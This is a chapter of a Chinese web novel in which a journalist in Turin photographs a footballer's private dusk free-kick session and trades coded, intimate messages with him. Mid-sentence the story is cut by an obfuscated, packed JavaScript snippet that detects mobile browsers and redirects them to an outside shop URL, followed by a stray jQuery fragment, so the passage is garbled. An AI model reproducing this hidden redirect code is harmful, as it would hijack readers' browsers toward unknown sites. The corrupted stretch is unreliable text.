电话挂断后，苏晚栀在窗边站了很久。


    波河上的雾气升起来，月光在水面碎成流动的银片。她想起里斯本那个坡顶咖啡馆的老神父，想起他说28路电车是“时间之线”。现在，另一条线在都灵展开，连接着安联球场二楼露台和明晚七点十分的某个瞬间。


    她打开加密文档，新建一页。标题是《测试》。


    “他设下一个挑战。用足球，用黄昏，用我的镜头。这不是采访，是某种私密的对话，用只有我们能懂的方式。


    我该接受吗？


    作为记者，不该踏入这种模糊地带。


    但作为苏晚栀...”


    她停笔。


    作为苏晚栀，她无法拒绝。那个在雨中用葡语说“恐惧”的男人，和那个在电话里测试她反应的男人，奇异地重叠成更真实的形象。


    第二天她醒得很早。晨跑时特意绕到训练基地外围，工人在修剪草坪，空气里是青草汁液的气息。她计算着风速，西南风会影响任意球弧线。


    张月在酒店餐厅找到她时，她正在平板上画球场示意图。


    “你今天怪怪的。”张月倒咖啡，“像在策划什么。”


    “拍黄昏训练。”苏晚栀收起平板，“需要长焦镜头。”


    “昨天不是拍过了？”


    “今天不一样。”


    确实不一样。整个白天她都心不在焉。采访市政新闻时，她盯着广场大钟计算时差；写稿时，笔误把“都灵”写成“里斯本”。程老师来电话讨论下周专题，她差点把“克里斯蒂亚诺”说成“那个测试我的人”。


    下午四点，她提前到博物馆露台。角度需要调整，昨天位置偏左，逆光。她找到正对球门的位置，三脚架调稳，长焦镜头擦净。五点，云层移动，光质变软。她试拍几张，调整曝光补偿。


    六点，球员陆续离开。她看见克里斯蒂亚诺的车开出基地，是那辆黑色SUV。但七点整，一个穿着训练服的身影独自走进球场。


    他没用常规训练场，而是西侧僻静的备用场地。更小，更旧，但正对露台。球门没有网，只有空框。


    苏晚栀端起相机。取景框里，他先绕场慢跑，拉伸。然后从球袋里取出五个球，摆在禁区弧顶。


    七点零九分。他看向露台。距离太远，看不清表情，但能感觉他在确认。


    七点十分整。他助跑，摆腿，射门。


    球划出诡异的弧线，不是常规香蕉球，而是先上升后下坠的落叶球。球速极快，但镜头勉强跟上。球击中横梁下沿，弹进球门，撞上后方护网。


    苏晚栀连拍。每秒十二张，完整记录轨迹。


    克里斯蒂亚诺没去捡球。他站在原地，望向露台。然后举起右手，比了个“V”字。


    不是胜利的手势。是“第二球”的意思。


    第二个球摆好。这次是电梯球，几乎没有旋转，笔直上升后急速下坠。球擦着左门柱钻进网窝。


    第三球，弧线球绕过虚拟人墙。第四球，贴地斩。第五球，他退后更远，助跑更长。球像炮弹般轰入右上角。


    每次射门后，他都看向露台。不挥手，不微笑，只是看着。像在说：拍到了吗？


    五球结束，他弯腰喘气。汗水在黄昏光线下发光。然后他做了一件意想不到的事，走到场边，从包里拿出手机，对着露台方向拍了张照。


    苏晚栀下意识低头，仿佛这样能躲过镜头。再抬头时，他正低头操作手机。


    几秒后，她的手机震动。陌生号码发来彩信，是露台的照片。逆光，她的轮廓模糊，但相机和三脚架清晰可见。附言只有葡萄牙语：


    “A sua vez.”（该你了。）


    她放下相机，回复：“Porquê?”（为什么？）


    回复很快：“Para ver se consegue panhar o meu tempo.”(看你能不能跟上我的时间）


    黄昏最后的光线消失在地平线下。球场灯光亮起，他消失在通道里。苏晚栀收拾器材，手在微微发抖。这不是采访，不是工作，是某种危险的共谋，用镜头和足球进行的私人对话。


    回酒店路上，她没查看照片。直到锁上房门，才导入电脑。五张连拍序列，球在不同位置。她选出最清晰的五张，调色，裁剪。但没发给程老师，而是存进加密文件夹。


    张月敲门时，她正在写稿。常规训练报道，平淡如水。


    “拍得怎么样？”张月探头。


    “还行。”苏晚栀最小化文档，“光线不错。”


    “你表情不像‘还行’。”张月眯眼，“像中了彩票。”


    也许比中彩票更复杂。


    她打开加密文档，写下：


    “他创造了只属于我们的密码系统。用足球的轨迹，用黄昏的光线，用镜头的快门声。测试的结果是：我跟上了。但跟上之后呢？这种危险的亲密感，该如何安放？”


    深夜，她收到托马西的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955427|193116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    邮件。例行通知明天公开训练取消，改为战术分析课。邮件末尾附注：“Ronaldo先生问你是否需要上周训练的高清照片，他可以让摄影师提供。”


    这不是官方该有的服务。她回复：“谢谢，我有足够的素材。”


    一分钟后，新邮件。发件人地址是。主题空白，正文只有葡萄牙语：


    “As fotos da prova。”（测试的照片。）


    附件是五张照片，从球场角度拍摄的射门瞬间。球在画面中央，背景是露台和她模糊的身影。每张照片的EXIF信息显示，拍摄时间与她连拍完全同步。


    他不仅测试了她的技术，还安排了另一个机位，记录这次测试本身。


    苏晚栀把两张照片并置。从露台看下去的他，从球场看上去的她。足球连接两个空间，黄昏笼罩两个视角。


    她回复：“Porque é que partilha istoigo?”（为什么和我分享这些？）


    这次没有立即回复。她等到凌晨一点，准备关机时，新邮件到达。没有文字，只有一个音频附件。


    点开，是葡萄牙语旁白，配着轻柔的吉他声。克里斯蒂亚诺的声音，但比采访中低沉松弛：


    “...时间是个狡猾的小偷。它偷走你的速度，你的弹跳，你二十岁时的膝盖。但你得学会偷回来。用经验偷走年轻人的莽撞，用智慧偷走体能的不足。每个黄昏，当我在空荡的球场加练时，我都在和时间谈判。‘再给我一年，’我说，‘我会让它值得。’”


    音频背景里有球撞击门柱的声音。然后是他喘着气的轻笑：


    “今天，有人在场边。用镜头记录这次谈判。突然觉得，也许时间不是小偷，而是共犯，它带走了些什么，却带来了另一些。”


    音频结束。苏晚栀反复听最后一句。带来了另一些，指什么？她的存在？


    她打开回复框，手指悬停。该说什么？专业记者的感谢？球迷的激动？还是用同样私密的语言，回应这场危险的对话？


    最终她只写下一句：


    “Amanh?? ao anoitecer, estarei lá.”（明天黄昏，我依旧会在那里。）


    发送，关机。


    房间陷入黑暗，但视网膜上还残留着球划过黄昏的轨迹。


    都灵的夜晚很深。但有些东西，在黑暗中刚刚开始发光。